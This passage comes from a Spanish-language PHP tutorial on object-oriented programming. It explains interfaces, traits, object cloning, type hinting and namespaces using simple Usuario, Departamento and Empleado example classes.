En una aplicacion real, el metodo leer() deberia poder asociar la informacion con la base de datos, usando el interno, valor ID que conocemos para devolver.

6.- Definimos el metodo actualizar():

function actualizar($datos){
            $this->_usuario = $datos['usuario'];
        }



Presumiblemente, el Id de usuario no puede ser actualizado, entonces el metodo actualizar() solo escribe en el atributo interno. De nuevo utilizas una validacion apropiada $datos['usuario'] si existe.

7.- Definimos el metodo eliminar() y completamos la clase:

 public function eliminar(){
            $this->_usuario = NULL;
            $this->_usuarioId = NULL;
        }
    } // Terminamos la clase Usuario


El metodo eliminar() limpia los atributos. En el mundo real, se borraria su correspondiente usuario de la base de datos. 

8.- Creamos un nuevo objeto Usuario:

$usuario = array('usuario' => 'arthusu');

    // Imprimimos una pequeña introduccion:
    echo "<h2>Creando un nuevo usuario</h2>";

    // Crear un nuevo usuario:
    $yo = new Usuario($usuario);



Para crear una interface mas util, hay dos metodos que esperan recibir un solo argumento, con lo que podria ser un array de datos. Si la clase Usuario tambien almacena un correo y contraseña, estos pueden ser representados en el array tambien.

9.- Obtenemos el ID de Usuario:

$info = $yo->leer();
echo "<p>El ID de usuario es {$info['usuarioId']}.</p>";

10.- Cambiamos el nombre de usuario y lo leemos:

$yo->actualizar(array('usuario'=>'arthusuxD'));

    // Confirmamos que el usuario ha sido actualizado:
    $info = $yo->leer();
    echo "<p>El nombre de usuario ahora es {$info['usuario']}.</p>";


11.- Eliminamos el registro:

$yo->eliminar();

Nota que esta linea no elimina el objeto Usuario. Esta solo limpia los valores de guardados internamente.

12.- completamos la pagina:

unset($yo);
?>
</body>
</html>



Interface es una palabra con multiples significados. Genericamente interface se refiere a los tipos de informacion sobre las clases y metodos reflejado por un diagrama UML. En otras palabras una interface, explica como una clase o metodo se utiliza. Alternativamente, la interface puede referirse a un contrato que se puede enlazar con una clase. 

Otro beneficio que tiene utilizar interfaces ante las clases abstractas y herencia es que las clases en PHP no se extienden desde multiples padres. Las clases, sin embargo, pueden ser implementadas multiples interfaces separando por coma:

class AlgunaClase implements iA, iB{  

El operador instanceof tambien puede ser utilizado para probar si una clase implementa una interface.



En UML, una interface es indicado por llevar <<interface>> en su nombre (en este caso interface).

En UML, para indicar que una clase implementa una interface, se utiliza una flecha discontinua desde la clase a la interface (de modo que la flecha esta apuntando a la interface).

Traits

Nuevo en PHP 5.4 es el soporte para traits. Traits son usados para resolver problemas en lenguajes de programacion orientado a objetos como PHP que solo permiten herencia simple. Por ejemplo, digamos que estas diseñando un sitio web que tiene varias clases: Usuario, Pagina, Formulario de contacto, etc. Mientras estas desarrollando el sitio web, ayudaria tener una herramienta de depuracion que pueda imprimir la informacion acerca de un objeto dado, independientemente de su tipo.

function arrojarObjeto(){
        // Imprimir la informacion
    }


Se podria añadir esta definicion para cada clase, pero eso seria innecesariamente redundante (y un obstaculo el cual superar en caso de cambiar la definicion). Normalmente, cuando se tiene un metodo que seria necesario en multiples clases, la herencia es la solucion. 
Sin embargo, en PHP cada clase solo se puede heredar desde una sola clase padre, y no hay una clase padre en comun para cada una de ellas. La solucion es, entonces, los traits. Traits le permiten agregar esta funcionalidad para la clase sin usar herencia.

Para crear un trait, usamos la palabra clave trait, seguido por el nombre y la definicion:

    trait tAlgunTrait {
        // Atributos
        function algunaFuncion(){
            // Hacer algo
        }
    }


(Estilisticamente, usted podria iniciar su Trait con "t" minuscula, pero esto no es necesario).

Al igual que una clase abstracta y una interface, los traits no pueden ser instanciados (es decir, no se puede crear un objeto desde un trait). En su lugar tu agregas un Trait a traves de una clase usando la palabra clave use dentro de la definicion de la clase:

    class AlgunaClase {
        use tAlgunTrait;
        // Resto de la clase.
    }


Asi como incluyes un script PHP externo puedes crear un script con codigo usable en el mismo, añadiendo la declaracion use NombredelTrait el codigo estara disponible en la clase.

Ahora, cuando tu creas un objeto de una AlgunaClase escrita, este metodo tiene una metodo algunaFuncion():

    $obj = new AlgunaClase();
    $obj->algunaFuncion();


En el siguiente ejemplo, vamos a implementar la depuracion del ejemplo trait y utilizarlo con alguna clase. Al hacer esto, voy a utilizar tres funciones de PHP no mencionadas anteriormente pero son practicamente autoexplicativas.

 

 <?php
 // Esta pagina define el trait tDebug.

 /* El trait tDebug.
 * El trait define un metodo:
 * - arrojarObjeto():
 */

 trait tDebug {
  // Este metodo arroja todos los datos acerca del objeto actual:

  public function arrojarObjeto(){

   // Obtenemos el nombre de la clase:
   $clase = get_class($this);

   // Obtenemos todos los atributos:
   $atributos = get_object_vars($this);

   // Obtenemos los metodos:
   $metodos = get_class_methods($this);

   // Imprimimos una cabecera:
   echo "<h2>Informacion acerca del objeto $clase</h2>";

   // Imprimimos los atributos:
   echo '<h3>Atributos</h3><ul>';
   foreach($atributos as $c => $v){
    echo "<li>$c : $v</li>";
   }
   echo '</ul>';

   // Imprimimos los metodos:
   echo '<h3>Metodos</h3><ul>';
   foreach($metodos as $c => $v){
    echo "<li>$c : $v</li>";
   }
   echo '</ul>';
  } // Fin del metodo arrojarObjeto().
 } // Fin del trait tDebug.
?>


Clase Rectangulo modificada usando el trait tDebug:



 <?php
 // Esta pagina define el trait tDebug.

 /* El trait tDebug.
 * El trait define un metodo:
 * - arrojarObjeto():
 */

 trait tDebug {
  // Este metodo arroja todos los datos acerca del objeto actual:

  public function arrojarObjeto(){

   // Obtenemos el nombre de la clase:
   $clase = get_class($this);

   // Obtenemos todos los atributos:
   $atributos = get_object_vars($this);

   // Obtenemos los metodos:
   $metodos = get_class_methods($this);

   // Imprimimos una cabecera:
   echo "<h2>Informacion acerca del objeto $clase</h2>";

   // Imprimimos los atributos:
   echo '<h3>Atributos</h3><ul>';
   foreach($atributos as $c => $v){
    echo "<li>$c : $v</li>";
   }
   echo '</li></ul>';

   // Imprimimos los metodos:
   echo '<h3>Metodos</h3><ul>';
   foreach($metodos as $c => $v){
    echo "<li>$c : $v</li>";
   }
   echo '</li></ul>';
  } // Fin del metodo arrojarObjeto().
 } // Fin del trait tDebug.
?>

Usando el trait tDebug:


 <!DOCTYPE html>
<html lang="es">
<head>
 <meta charset="utf-8">
 <title>Trait</title>
</head>
<body>
<?php
 // Esta pagina usa el trait tDebug a traves del objeto Rectangulo.

 // Incluimos la definion del trait:
 require('tDebug.php');

 // Incluimos la definicion de la clase:
 require('Rectangulo.php');

 // Creamos un nuevo objeto:
 $r = new Rectangulo(42,37);

 // Arrojamos la informacion:
 $r->arrojarObjeto();

 // Eliminamos el objeto:
 unset($r);
?>
</body>
</html>
 
 
Esta es la salida generada por el metodo arrojarObjeto().

Si obtiene un error de analisis cuando ejecuta el script, podria ser por que no esta usando la version de PHP 5.4 o una superior o no reconoce la palabra clave trait.

Para incorporar multiples traits en una clase, debemos separar cada trait por una coma:

use tTrait1, tTrait2;

Los traits pueden tener metodos abstractos que luego debe ser implementado por cualquier clase que utilice el trait.

Una vez mas, usted podria añadir tDebug dentro de la clase Rectangulo, en lugar de un script principal para el mismo.

Copiando y clonando objetos

En PHP cuando se crea una copia de un objeto, PHP en realidad crea una nueva referencia a ese objeto, no enteramente un nuevo objeto. En otras palabras, ambas variables apuntaran a la misma cosa, y los cambios realizados a traves de un objeto puede ser reflejado por otro:

    $a = new AlgunaClase();
    $a->val = 1;
    $b = $a;
    $b->val = 2;
    echo $a->val; // 2


Mas formalmente puesto, esto significa que PHP asigna objetos por referencia, no por valor. PHP hace esto por razones de rendimiento, como tener multiples copias de objetos enteros, cuando no es necesario, es caro.

Si usted realmente quiere dos separados, objetos individuales, es necesario crear un clon:

    $a = new AlgunaClase();
    $a->val = 1;
    $b = clone $a; // Objetos separados!
    $b->val = 2;
    echo $a->val; // 1


Cuando el operador clone es usado, PHP llevara a cabo lo que se llama una "superficial copia". Si quieres cambiar la manera en que un objeto clon esta hecho, se puede definir un metodo __clone() dentro de la clase. Este metodo se llama siempre que un clon se hace, y se ocuparia de la clonacion como mejor le parezca. Para mas detalles consultar el manual de PHP.


Precedencia de un trait

Si un trait es utilizado como un metodo en una clase que tiene un metodo con el mismo nombre dentro de la clase, PHP decide que metodo toma precedencia (es decir, cual sera ejecutado cuando el metodo sea llamado). Si el metodo es definido en la clase, esta version tendra precedencia sobre el metodo del trait. Si el metodo definido en la clase es actualmente heredado de otra clase, entonces el trait tomara precedencia.


Type Hinting

Type hinting es en la programacion un acto de indicar que tipo de valor es esperado. Por ejemplo, que tipo de valor una funcion espera recibir como parametro. Type hinting no juega un gran papel en el codigo PHP procedural por que no se puede sugerir tipos simples (ejemplo: enteros o cadenas). Pero usted puede hacer alusion a los objetos, que es mas util. Para llevar a cabo el type hinting, debemos anteponer al nombre de la variable el tipo de clase esperada:

class AlgunaClase {
        function hacerEsto(OtraClase $var){
           
        }
    }



Si el argumento pasado a los metodos hacerEsto() no es de tipo OtraClase, o de una clase subderivada. PHP generara un error Fatal.

    class OtraClase{ }
    $algo = new OtraClase();
    $otra = new OtraClase();
    $algo->hacerEsto($otra);
    $algo->hacerEsto($algo);


Para ver un ejemplo de type hinting, este proximo script definira una clase Departamento con un metodo agregarEmpleado(). Ese metodo se utiliza para añadir un nuevo empleado a la lista de los empleados del departamento, el metodo solo acepta un parametro de tipo Empleado.



 <!DOCTYPE html>
<html lang="es">
<head>
 <meta charset="utf-8">
 <title>Type Hinting</title>
</head>
<body>
<?php
 // Esta pagina define el uso de las clases Departamento y Empleado.

 # *** CLASES *** #
 
 /* Clase Departamento.
 *  Esta clase contiene dos atributos:
 * nombre y empleados[].
 * Esta clase contiene dos metodos:
 * - __construct()
 * - agregarEmpleado()
 */

 class Departamento {
  private $_nombre;
  private $_empleados;

  function __construct($nombre){
   $this->_nombre = $nombre;
   $this->_empleados = array();
  }

  function agregarEmpleado(Empleado $e) {
   $this->_empleados[] = $e;
   echo "<p>{$e->obtenerNombre()} ha sido agregado al departamento {$this->_nombre}.</p>";
  }
 } // Fin de la clase Departamento

 /* Clase Empleado
 * La clase contiene un atributo:
 * nombre
 * La clase contiene dos metodos:
 * - __construct()
 * - obtenerNombre()
 */

 class Empleado {
  private $_nombre;

  function __construct($nombre) {
   $this->_nombre = $nombre;
  } 

  function obtenerNombre(){
   return $this->_nombre;
  }
 } // Fin de la clase Empleado.

 # *** Fin de las clases *** #

 // Creamos un departamento:
 $rh = new Departamento('Recursos Humanos');

 // Creamos empleados:
 $e1 = new Empleado('Jane Doe');
 $e2 = new Empleado('John Doe');

 // Agregamos empleados al departamento:
 $rh->agregarEmpleado($e1);
 $rh->agregarEmpleado($e2);

 // Eliminamos los objetos:
 unset($rh, $e1, $e2);

?>
</body>
</html>

1.- Declaramos la clase Departamento:

class Departamento {
        private $_nombre;
        private $_empleados;

        function __construct($nombre){
            $this->_nombre = $nombre;
            $this->_empleados = array();
        }



La clase Departamento tiene dos atributos privados: uno almacena el nombre del departamento y el otro almacena un array de empleados en el departamento. El constructor asigna el valor a la variable privada $_nombre y crea $_empleados como un array vacio.


2.- Añadimos el metodo AgregarEmpleado() para completar la clase:

function agregarEmpleado(Empleado $e) {
            $this->_empleados[] = $e;
            echo "<p>{$e->obtenerNombre()} ha sido agregado al departamento {$this->_nombre}.</p>";
        }
    } // Fin de la clase Departamento


Este metodo debe ser llamado para agregar un empleado al departamento del objeto actual. Este toma un argumento, que gracias al type hinting, debe ser Empleado. Si un argumento apropiado es recibido, puede ser agregado internamente, al array $_empleados. Para propositos de confirmacion (y para tener que el script finalmente arroje algo), la verificacion del empleado agregado es mostrada.

Nota que $e debe ser un objeto de tipo Empleado, para poder invocar cualquier tipo de metodos de empleados, tal como obtenerNombre().

3.- Definimos la clase Empleado:

class Empleado {
        private $_nombre;

        function __construct($nombre) {
            $this->_nombre = $nombre;
        }

        function obtenerNombre(){
            return $this->_nombre;
        }
    } // Fin de la clase Empleado.


Estamos definiendo una clase Empleado de una manera minima. El constructor toma un nombre de empleado como argumento, y este es asignado a un atributo interno. El metodo obtenerNombre() es publico, y es la forma correcta de buscar el nombre del empleado.

Los errores se arrojan cuando el tipo de argumento no son enviados. Son excepciones lo que significa que pueden ser "atrapados", es una manera mas elegante de manejar este problema.

Type hinting puede ser utilizado en funciones tambien (es decir, en los no metodos, las funciones que estan fuera de una clase).

Namespaces

Agregados en la version de PHP 5.3 tiene soporte para namespaces. Los namespaces proporcionan una solucion para un problema comun en POO: como comenzar a utilizar mas y mas clases, incluidas las definidas por otros desarrolladores y en las bibliotecas de terceros, los conflictos pueden ocurrir si multiples clases tienen el mismo nombre. Los namespaces previenen estos conflictos por lo que permite organizar el codigo en grupos. Esto tiene el efecto para permitir que para utilizar con seguridad nombres descriptivos sin preocupacion por conflictos.

Una analogia adecuada (que el manual de PHP tambien usa) es comparar los namespaces para la creacion de una estructura de directorios en su computadora. No pueden colocar dos archivos llamadas funciones.php en la misma carpeta. Sin embargo, usted puede colocar uno en la carpeta misUtilidades/ y otro en la carpeta tusUtilidades/, con lo que ambas versiones de funciones.php estan disponibles.
Hay limites en lo que se puede colocar en un namespace, en concreto:

* Clases
* Interfaces
* Funciones
* Constantes

No se podria, por ejemplo, crear un namespace solo para mantener algunas variables. Para definir un namespace, querras crear un nuevo archivo que solo almacenara el codigo de namespace. Esto es un tanto virtual requisito de PHP y una mejor practica de diseño. Dentro de ese archivo, se crea un namespace utilizando la palabra clave namespace, seguido por su identificador:

namespace AlgunNamespace;

Tenga en cuenta que esta debe ser la primera linea de un codigo PHP en un archivo, y que el archivo no puede incluso tener algun codigo HTML antes de el codigo (aunque, desde una perspectiva de diseño, usted no quiere mezclar HTML y namespaces de todas maneras). Usted puede tener codigo PHP comentado antes de esa linea. Sin embargo, cualquier codigo que siga de esa linea sera automaticamente colocado dentro de ese namespace:

    namespace AlgunNamespace;

    class AlgunaClase { }


Los namespaces pueden tener subespacios, al igual que usted tendria niveles de directorios en su ordenador. Para ello, indicamos un subespacio de nombre utilizando la barra invertida:

    namespace MisUtilidades\ManejoUsuario;

    class Login { }


Una vez que haya definido un namespace, puede hacer referencia a ella mediante el uso de barra invertida de nuevo. Primero, sin embargo, tienes necesidad de incluir el archivo que define el namespace. 

require('AlgunNameSpace.php');

A continuacion, utilizar barras invertidas para indicar que un namespace se esta utilizando:

$obj = new \AlgunNamespace\AlgunaClase();

O:

require('MisUtilidades\ManejoUsuario\Usuario.php');
$obj = new \MisUtilidades\ManejoUsuario\Login();

Como una opcion estilistica, una sugerencia es utilizar su nombre u organizacion como nivel superior en el namespace:

namespace MiNombre\Utilerias\Usuario;

Otra sugerencia es organizar los archivos de la misma forma que colocas los namespaces.

Como ejemplo practico de esto, vamos a colocar las clases Departamento y Empleado dentro del namespace MiNamespace\Compania.



 <?php
 // Este script define un namespace Compañia, con dos clases.

 // declaramos el namespace:
 namespace MiNamespace\Compania;

  # *** CLASES *** #
 
 /* Clase Departamento.
 *  Esta clase contiene dos atributos:
 * nombre y empleados[].
 * Esta clase contiene dos metodos:
 * - __construct()
 * - agregarEmpleado()
 */

 class Departamento {
  private $_nombre;
  private $_empleados;

  function __construct($nombre){
   $this->_nombre = $nombre;
   $this->_empleados = array();
  }

  function agregarEmpleado(Empleado $e) {
   $this->_empleados[] = $e;
   echo "<p>{$e->obtenerNombre()} ha sido agregado al departamento {$this->_nombre}.</p>";
  }
 } // Fin de la clase Departamento

 /* Clase Empleado
 * La clase contiene un atributo:
 * nombre
 * La clase contiene dos metodos:
 * - __construct()
 * - obtenerNombre()
 */

 class Empleado {
  private $_nombre;

  function __construct($nombre) {
   $this->_nombre = $nombre;
  } 

  function obtenerNombre(){
   return $this->_nombre;
  }
 } // Fin de la clase Empleado.

 # *** Fin de las clases *** #

?>


1.- Declaramos el namespace MiNamespace\Compania:

namespace MiNamespace\Compania;

La premisa aqui es que todo su codigo reusable entraria al namespace Minamespace, Cuyo nombre lo haria mas unico. Dentro de toda esa biblioteca, todas las clases y codigos relacionados con la creacion de proyectos basados en la empresa iria en el namespace de la empresa, declarado aqui.

2.- Definimos la clase Departamento:

class Departamento {
        private $_nombre;
        private $_empleados;

        function __construct($nombre){
            $this->_nombre = $nombre;
            $this->_empleados = array();
        }

        function agregarEmpleado(Empleado $e) {
            $this->_empleados[] = $e;
            echo "<p>{$e->obtenerNombre()} ha sido agregado al departamento {$this->_nombre}.</p>";
        }
    } // Fin de la clase Departamento



Este es el mismo codigo que ya se explico anteriormente en type hinting.

3.- Declaramos la clase Empleado:

class Empleado {
        private $_nombre;

        function __construct($nombre) {
            $this->_nombre = $nombre;
        }

        function obtenerNombre(){
            return $this->_nombre;
        }
    } // Fin de la clase Empleado.


De nuevo, nada cambia aqui.

4.- Guardamos el archivo, y luego lo colocamos en el directorio web dentro de MiNamespace\Compania.

Usar la clase namespace:


 
 <!DOCTYPE html>
<html>
<head>
 <meta charset="utf-8">
 <title>Namespace</title>
</head>
<body>
<?php
 // Esta pagina define el uso de las clases Departamento y Empleado.

 // Incluimos los script PHP:
 require('compania/company.php');

 // Creamos un departamento:
 $rh = new MiNamespace\Compania\Departamento('Contabilidad');

 // Creamos empleados:
 $e1 = new MiNamespace\Compania\Empleado('Holden Caulfield');
 $e2 = new MiNamespace\Compania\Empleado('Jane Gallagher');

 // Agregamos los empleados al departamento:
 $rh->agregarEmpleado($e1);
 $rh->agregarEmpleado($e2);

 // Eliminar los objetos:
 unset($rh, $e1, $e2);
 
?>
</body>
</html>


1.- Incluimos el archivo de namespace:

require('compania/company.php');


2.- Creamos el objeto Departamento:


$rh = new MiNamespace\Compania\Departamento('Contabilidad');


Este es el mismo codigo usado anteriormente, solo que en este caso estamos utilizando namespace.


3.- Creamos dos empleados:

$e1 = new MiNamespace\Compania\Empleado('Holden Caulfield');
$e2 = new MiNamespace\Compania\Empleado('Jane Gallagher');


4.- Agregamos los empleados al departamento:


$rh->agregarEmpleado($e1);
$rh->agregarEmpleado($e2);

5.- Completamos la pagina:


unset($rh, $e1, $e2);



La salida es mas o menos la misma que el script anterior, aunque el codigo subyacente ahora esta mejor organizado gracias a namespaces.


La constante __NAMESPACE__ representa el namespace actual.

Fin de esta parte de POO en PHP.